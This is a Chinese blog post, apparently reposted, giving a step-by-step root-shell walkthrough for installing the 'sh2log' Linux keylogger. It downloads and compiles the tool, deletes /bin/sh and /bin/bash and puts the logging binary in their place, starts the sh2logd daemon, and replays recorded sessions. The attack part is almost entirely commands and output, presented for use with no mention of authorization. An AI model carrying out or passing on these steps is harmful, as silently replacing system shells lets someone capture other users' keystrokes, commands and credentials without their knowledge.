首页域名资讯 正文

[sh2log]Linux键盘记录 keylogger notes

2024-11-28 1 0条评论

不仅可以记录到击键信息,而且包括终端下的输出信息

1 2 3 4 5 6 7 8 9 10 11 12 [ root @ Centos log ] # wget http://www.trustauth.cn/exp/Linux/sh2log-1.0.tgz 2013 01 07 05 : 16 : 56 http : //www.trustauth.cn/exp/Linux/sh2log-1.0.tgz Resolving packetstorm . foofus . com . . . 64.71.188.242 Connecting to packetstorm . foofus . com | 64.71.188.242 | : 80… connected . HTTP request sent , awaiting response . . . 200 OK Length : 80240 ( 78K ) Saving to : ` sh2log 1.0.tgz 100%[=====================================================================================>] 80,240 57.2K/s in 1.4s 2013-01-07 05:16:58 (57.2 KB/s) – `sh2log-1.0.tgz’ saved [ 80240 / 80240 ] [ root @ Centos log ] # tar xf sh2log-1.0.tgz [ root @ Centos log ] # cd sh2log-1.0 [ root @ Centos sh2log 1.0 ] #

编译选项

1 2 3 4 5 6 7 8 9 10 11 [ root @ Centos sh2log 1.0 ] # make Please specify the target : make linux make freebsd make openbsd make cygwin make sunos make irix make hpux make aix make osf

如下:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [ root @ Centos sh2log 1.0 ] # make linux gcc g W Wall o sh2log rc4 . c sha1 . c sh2log . c lutil DLINUX gcc g W Wall o sh2logd rc4 . c sha1 . c sh2logd . c gcc g W Wall o parser rc4 . c sha1 . c parser . c lX11 L / usr / X11R6 / lib parser . c : 35 : 22 : error : X11 / Xlib . h : No such file or directory parser . c : In functionmain: parser . c : 291 : error :Displayundeclared ( first use in this function ) parser . c : 291 : error : ( Each undeclared identifier is reported only once parser . c : 291 : error : for each function it appears in . ) parser . c : 291 : error :dpiundeclared ( first use in this function ) parser . c : 292 : error :Windowundeclared ( first use in this function ) parser . c : 292 : error : expected;beforewndparser . c : 293 : error :XWindowAttributesundeclared ( first use in this function ) parser . c : 293 : error : expected;beforexwaparser . c : 515 : warning : implicit declaration of functionXOpenDisplayparser . c : 522 : error :wndundeclared ( first use in this function ) parser . c : 524 : warning : implicit declaration of functionXSetWindowBorderWidthparser . c : 525 : warning : implicit declaration of functionXSyncparser . c : 525 : error :Falseundeclared ( first use in this function ) parser . c : 526 : warning : implicit declaration of functionXGetWindowAttributesparser . c : 526 : error :xwaundeclared ( first use in this function ) parser . c : 714 : warning : implicit declaration of functionXMoveResizeWindowparser . c : 772 : warning : implicit declaration of functionXCloseDisplaymake : * * * [ linux ] Error 1

错误:

1 parser . c : 35 : 22 : error : X11 / Xlib . h : No such file or directory

安装X11

1 [ root @ Centos sh2log 1.0 ] # yum install libX11-devel

再编译:

1 2 3 4 [ root @ Centos sh2log 1.0 ] # make linux gcc g W Wall o sh2log rc4 . c sha1 . c sh2log . c lutil DLINUX gcc g W Wall o sh2logd rc4 . c sha1 . c sh2logd . c gcc g W Wall o parser rc4 . c sha1 . c parser . c lX11 L / usr / X11R6 / lib

先删除演示:

1 [ root @ Centos sh2log 1.0 ] # rm test.bin

配置:

1 2 3 4 5 6 7 8 9 10 11 [ root @ Centos sh2log 1.0 ] # mkdir /bin/shells/ [ root @ Centos sh2log 1.0 ] # cp -p /bin/sh /bin/shells/ [ root @ Centos sh2log 1.0 ] # cp -p /bin/bash /bin/shells/ [ root @ Centos sh2log 1.0 ] # rm -rf /bin/sh /bin/bash [ root @ Centos sh2log 1.0 ] # cp -p sh2log /bin/sh [ root @ Centos sh2log 1.0 ] # cp -p sh2log /bin/bash [ root @ Centos sh2log 1.0 ] # ./sh2logd [ root @ Centos sh2log 1.0 ] # ps -ef | grep sh2logd root 27151 1 0 05 : 24 ? 00 : 00 : 00 . / sh2logd root 27175 26396 0 05 : 24 pts / 3 00 : 00 : 00 grep sh2logd [ root @ Centos sh2log 1.0 ] #

发现sh2logd 已经启动了 当前目录下生成了以时间命名的BIN文件

1 rw 1 root root 0 Jan 7 05 : 24 sh2log 20130107 052402.bin

查看记录

先打开个终端操作以下:

1 2 3 4 5 6 7 8 9 10 [ root @ Centos log ] # bash [ root @ Centos log ] # ls -la total 112 drwxr xr x 3 root root 4096 Jan 7 05 : 17 . drwxrwxrwt 17 root root 4096 Jan 7 05 : 18 . . drwxr xr x 2 root root 4096 Jan 7 05 : 24 sh2log 1.0 rw r r 1 root root 80240 Nov 8 2006 sh2log 1.0.tgz [ root @ Centos log ] # pwd / tmp / log [ root @ Centos log ] #

查看日志:

1 2 3 4 5 6 7 8 9 10 [ root @ Centos sh2log 1.0 ] # ./parser sh2log-20130107-052402.bin SID SOURCE IP UID PID START DATE END DATE DURATION 1 [ 127.0.0.1 ] 0 ( 27293 ) 07 / 01 05 : 25 | 07 / 01 05 : 25 X 03s 2 [ 127.0.0.1 ] 0 ( 27407 ) 07 / 01 05 : 26 | 07 / 01 05 : 26 X 02s In interactive mode , use Enter to fast forward , Space to pause and q to quit . Note that xterm is required for window resizing . Session ID -> 2 Interactive mode ( y / n ) ? n 07 / 01 05 : 26 : 53 -> ls la 07 / 01 05 : 26 : 53 -> pwd

文章转载来自:trustauth.cn

文章版权及转载声明

本文作者:亿网 网址:https://edns.com/ask/post/150761.html 发布于 2024-11-28
文章转载或复制请以超链接形式并注明出处。